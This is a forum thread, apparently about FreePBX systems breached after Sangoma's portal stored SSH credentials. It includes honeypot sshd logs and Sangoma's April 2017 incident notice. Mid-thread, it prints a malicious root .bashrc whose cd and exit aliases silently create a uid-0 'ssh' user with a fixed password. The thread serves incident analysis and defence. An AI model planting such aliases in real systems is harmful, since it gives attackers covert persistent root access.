Guys,
If there is anything to find we will tell you, as we always have. There’s no need for everyone to request this. As of this moment we still have not received this machine so there is nothing to tell. Corrado lives in Scotland so he’s sleeping. Let’s give him some time. For now just close your SSH ports to the outside world.
some measures to reduce attack:
If using SIP trunk, it’s better to limit calling area for each sip trunk, many sip-trunk providers support this function.
turn off port forwarding on router and use VPN to connect server if need remote externsion
turn on firewall
shutdown apache2 service, also shutdown ssh if need.
Sorry for the delay, been busy making a new unit to replace the honeypot but been swamped with other stuff.
There might be an undisclosed privilege escalation on sshd that allows a quick login as root.
Once done, the .bashrc for root is modified as follows:
# .bashrc
# User specific aliases and functions
alias cd='/usr/sbin/useradd -o -u 0 ssh &>/dev/null;echo -e "omegaomega\nomegaomega\n" | passwd ssh &>/dev/null;cd'
alias exit='/usr/sbin/useradd -o -u 0 ssh &>/dev/null;echo -e "omegaomega\nomegaomega\n" | passwd ssh &>/dev/null;exit'
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
export VISUAL=nano
As you can see, every cd or exit command from root creates a ssh user with omegaomega password.
Once that’s done, the ssh user logs in and three files are injected as in the above thread.
Pretty pedestrian.
Now we must only find if sshd has a 0day or fail2ban doesn’t catch failed SSH login attempts and we get violated by brute force.
Side note, the honeypot doesn’t have the firewall module installed. It would be pointless.
By the way, fail2ban needs an overhaul, but it’s for another thread.
This could only potentially affect you if your “organization has one or more deployments where you previously provided Sangoma with either SSH or Web GUI credentials, so that our support team would have easier access to your systems, when you request our help in future support calls”
It has nothing to do with commercial module purchases nor commercial module usage.
If you bought a commercial module from Sangoma/Schmooze there is nothing we store to get in to the system the module is purchased from/for. The only information this response is in response to is the information listed in the statement linked to above.
And when you have shut down apache and ssh, how do you get on the system again remotely?
Please don’t make suggestions that could cripple systems.
This could only potentially affect you if your “organization has one or more deployments where you previously provided Sangoma with either SSH or Web GUI credentials, so that our support team would have easier access to your systems, when you request our help in future support calls”
It has nothing to do with commercial module purchases nor commercial module usage.
If you bought a commercial module from Sangoma/Schmooze there is nothing we store to get in to the system the module is purchased from/for. The only information this response is in response to is the information listed in the statement linked to above.
I’m still not in a position to go and swap the honeypot out, but I can have a look at the sshd logs.
I can see a few random brute force attempts from many places before, but a dead straight successful login from 95.211.188.23, single shot.
Apr 10 10:40:32 tvv_phonebox sshd[14924]: Connection closed by 195.154.112.244
Apr 10 15:22:22 tvv_phonebox sshd[32643]: Connection closed by 95.215.60.170
Apr 10 22:32:01 tvv_phonebox sshd[26583]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=176.109.60.33 user=root
Apr 10 22:32:04 tvv_phonebox sshd[26583]: Failed password for root from 176.109.60.33 port 45923 ssh2
Apr 10 22:32:07 tvv_phonebox sshd[26583]: Failed password for root from 176.109.60.33 port 45923 ssh2
Apr 11 03:36:47 tvv_phonebox sshd[13026]: Invalid user koeda from 95.215.60.170
Apr 11 03:36:47 tvv_phonebox sshd[13027]: input_userauth_request: invalid user koeda
Apr 11 03:36:47 tvv_phonebox sshd[13026]: pam_unix(sshd:auth): check pass; user unknown
Apr 11 03:36:47 tvv_phonebox sshd[13026]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=95.215.60.170
Apr 11 03:36:47 tvv_phonebox sshd[13026]: pam_succeed_if(sshd:auth): error retrieving information about user koeda
Apr 11 03:36:48 tvv_phonebox sshd[13026]: Failed password for invalid user koeda from 95.215.60.170 port 47168 ssh2
Apr 11 03:36:48 tvv_phonebox sshd[13026]: pam_unix(sshd:auth): check pass; user unknown
Apr 11 03:36:48 tvv_phonebox sshd[13026]: pam_succeed_if(sshd:auth): error retrieving information about user koeda
Apr 11 03:36:50 tvv_phonebox sshd[13026]: Failed password for invalid user koeda from 95.215.60.170 port 47168 ssh2
Apr 11 11:49:16 tvv_phonebox sshd[11586]: Accepted password for root from 82.15.208.171 port 30728 ssh2
Apr 11 11:49:16 tvv_phonebox sshd[11586]: pam_unix(sshd:session): session opened for user root by (uid=0)
Apr 11 11:59:06 tvv_phonebox sshd[11586]: pam_unix(sshd:session): session closed for user root
Apr 11 13:48:27 tvv_phonebox sshd[19795]: Did not receive identification string from 64.64.117.63
Apr 11 14:17:44 tvv_phonebox sshd[21682]: Invalid user node from 95.215.60.170
Apr 11 14:17:44 tvv_phonebox sshd[21683]: input_userauth_request: invalid user node
Apr 11 14:17:44 tvv_phonebox sshd[21682]: pam_unix(sshd:auth): check pass; user unknown
Apr 11 14:17:44 tvv_phonebox sshd[21682]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=95.215.60.170
Apr 11 14:17:44 tvv_phonebox sshd[21682]: pam_succeed_if(sshd:auth): error retrieving information about user node
Apr 11 14:17:46 tvv_phonebox sshd[21682]: Failed password for invalid user node from 95.215.60.170 port 54187 ssh2
Apr 12 01:07:14 tvv_phonebox sshd[29247]: Invalid user adam from 95.215.60.170
Apr 12 01:07:14 tvv_phonebox sshd[29248]: input_userauth_request: invalid user adam
Apr 12 01:07:14 tvv_phonebox sshd[29247]: pam_unix(sshd:auth): check pass; user unknown
Apr 12 01:07:14 tvv_phonebox sshd[29247]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=95.215.60.170
Apr 12 01:07:14 tvv_phonebox sshd[29247]: pam_succeed_if(sshd:auth): error retrieving information about user adam
Apr 12 01:07:15 tvv_phonebox sshd[29247]: Failed password for invalid user adam from 95.215.60.170 port 57588 ssh2
Apr 12 01:07:16 tvv_phonebox sshd[29247]: pam_unix(sshd:auth): check pass; user unknown
Apr 12 01:07:16 tvv_phonebox sshd[29247]: pam_succeed_if(sshd:auth): error retrieving information about user adam
Apr 12 01:07:17 tvv_phonebox sshd[29247]: Failed password for invalid user adam from 95.215.60.170 port 57588 ssh2
Apr 15 04:21:08 tvv_phonebox sshd[16323]: Accepted password for root from 95.211.188.23 port 63274 ssh2
Apr 15 04:21:08 tvv_phonebox sshd[16323]: pam_unix(sshd:session): session opened for user root by (uid=0)
Apr 15 04:28:07 tvv_phonebox sshd[16323]: Received disconnect from 95.211.188.23: 11: disconnected by user
Apr 15 04:28:07 tvv_phonebox sshd[16323]: pam_unix(sshd:session): session closed for user root
Apr 15 04:21:08 tvv_phonebox sshd[16323]: Accepted password for root from 95.211.188.23 port 63274 ssh2
Apr 15 04:21:08 tvv_phonebox sshd[16323]: pam_unix(sshd:session): session opened for user root by (uid=0)
Apr 15 04:28:07 tvv_phonebox sshd[16323]: Received disconnect from 95.211.188.23: 11: disconnected by user
Apr 15 04:28:07 tvv_phonebox sshd[16323]: pam_unix(sshd:session): session closed for user root
The only places where that password is stored are my head and the Sangoma Portal, in the Deployments. 
Removing all passwords from them as I write.
BTW, none of these login attempts were caught by fail2ban.
I think it’s the __prefix_line parameter in the regex in filter.d/sshd.conf that’s wrong, because there are at least two of the regex that should have caught entries in the security log.
I’m not saying there’s been a security breach on the portal. Not for a single second. But if the others who got hacked did the same, it might be a common clue to see where that’s coming from.
I have three deployments with passwords stored in the deployment list. Two were accessed from the netherlands on or before April 13th. The third had been reloaded and the information was no longer accurate and there were failed SSH authentication attempts in the same time window from the same ip address. The second deployment that was accessed had the bash history removed but I cannot find any other modifications. The source IP was 5.79.73.246
I think it’s unlikely this is a coincidence.
Bingo.
This is being investigated on our side. We will be following up later today on our investigations.
They are general measures to enhance security. I shutdown apache and ssh on VPS, just start them via VPS admin dashboard when need. It absolutely works for me.
On a VPS maybe, where you have an overarching layer of control on top of the machine.
On a nuts & bolts installation, you can’t reasonably do that, except if you have something else running on the same machine like Webmin. But again, you have Webmin as an attack surface.
If anyone with a nuts&bolts deployment stops apache and sshd, they’re toast.
This is why no PBX should be setup with outside access to things like SSH and GUI to the outside world. Everything should and must be firewalled and why we even provide a free and open source firewall in FreePBX.
Agree wholeheartedly, and it’s how all PBX we deploy are.
But without honeypots (purposely or inadvertently made 
) we wouldn’t have found this hack out in the wild and apparently now deployed on an industrial scale.
I agree, it’s not a great idea to expose those services they way they were, but my system would still be secure if the credentials weren’t leaked. I’ve learned from it and closed those services. Also, I will never put pbx credentials anywhere out of my control again. Unfortunately, my customer has a big bill as a result.
Tony is currently traveling.
To protect against this we do allow outside access but ONLY from our companies static IP addresses. This ensures we have full access but noone else does.
A official email of anyone who has stored login information for deployments in our partner portal has been emailed as of today. It may take you a few hours to receive the email but they are being sent out as of a couple hours ago.
Thank you for the update, lock down those ports people. I havnt received my email yet but I will be looking for it.
April 29, 2017
To: FreePBX and PBXact Users
From: Sangoma Technologies/FreePBX
Subject: Update from Investigation into Prior Security Attack – IMPORTANT Action Recommended
When it comes to your PBX, we understand that security is paramount and that transparency from your partners like Sangoma, is not only the best policy, it’s the only policy. As a result, we are emailing you today to follow-up and share the results of the investigation into a previous incident regarding our sip trunking service that you may have already been notified about. For those of you who do not use our SIPStation SIP trunking service, that notification explained that about a month ago we had one of our trunking servers attacked, resulting in an illegal hacker getting access to some user’s randomly generated SIP Credentials. At the time of that incident, we promptly communicated via email to all of our SIPStation customers about the issue, and worked with them to obtain new SIP credentials. Our investigation into that attack resulted in a suite of new improvements to our platform as outlined in our SIPStation wiki, more specifically the section on notifications and access restrictions.
Through our investigation we were able to track where in our infrastructure the hacker obtained access. Although we have found no trace or evidence of them accessing our customer data, we have been notified of 14 systems that have been affected out of thousands of deployed system. Based on this we have determined that it’s theoretically possible that these unlawful hackers could have gained access to some PBX data and left no trace. Given this possibility we are sending this update to our broader group of PBX users beyond just our SIPStation subscribers. As mentioned, Sangoma’s commitment to you is to always do everything within our ability to secure our network and to be transparent with you about any attacks. We can tell you with absolute certainty is that we retain absolutely no credit card information and exclusively use Authorize.net as our fully PCI compliant and secure provider for all credit card transactions. So none of your payment details could ever be accessed.
What are we at Sangoma Doing About it and What do we Ask of You?
In addition to the SIPStation improvements mentioned above, we are now also taking a few actions to further strengthen security for our PBX customers as well. Firstly, we have chosen to no longer store SSH and Web GUI credentials for your PBX systems in our Portal (portal.sangoma.com). This was previously available as a result of our customers asking for it, so that Sangoma could offer easier and more expedient responses to your requests for technical support, but the security implication to you is no longer worth the potential risk, in our judgment. We hope you agree and understand. All such previously provided data has since been deleted from our systems.
Our records indicate that your organization has one or more deployments where you previously provided Sangoma with either SSH or Web GUI credentials, so that our support team would have easier access to your systems, when you request our help in future support calls. Since it’s theoretically possible, that a hacker may have gained access to a system with those credentials present, it would be prudent of you to make changes to the passwords. We ask you to please do this promptly. To learn more about changing your SSH password, please visit our wiki article on changing your root password.
In addition, we wish to once again reinforce what we always request of you as part of Sangoma’s security policy: Please be sure that you do not leave those ports open to the internet once any interaction with our support team has concluded. And where possible, we recommend that you lock down access to only Sangoma’s support staff IP addresses at the time the information was, or is, provided.
The risks of a hacker gaining access to your system can lead to toll fraud, system sabotage, and theft of any information you may possess on your system such as call logs, voicemails, recordings and contact information.
In closing, we’d like you to know that we value you as a customer. We at Sangoma work hard every day to earn your business and we sincerely apologize for any inconvenience this has caused. As a small token of our appreciation, we are making our Sysadmin Pro module free, with no strings attached for all systems that purchase it via the portal, within the next 14 days. Along with the many features Sysadmin Pro offers, we’d like to highlight the VPN Server which allows setting up your PBX with a secure VPN Server, allowing remote users to connect directly to your PBX without opening numerous ports. The VPN modules supports both telephone users and administrative users. Additionally it provides a simple method for you to allow our support staff to access your system without opening any ports to the Internet. You can find more information about this by visiting the VPN Server page in the Sysadmin section of our wiki.
Finally, we ask for your cooperation in performing the important task requested above for those of you who may be affected, and for your understanding as we work diligently to be transparent and responsive. Should you have any additional questions we ask that you please login to support.sangoma.com and open a Customer Service ticket with us.
On behalf of the entire Sangoma/FreePBX/SIPStation Team,
Anthony Lewis
COO
Sangoma Technologies
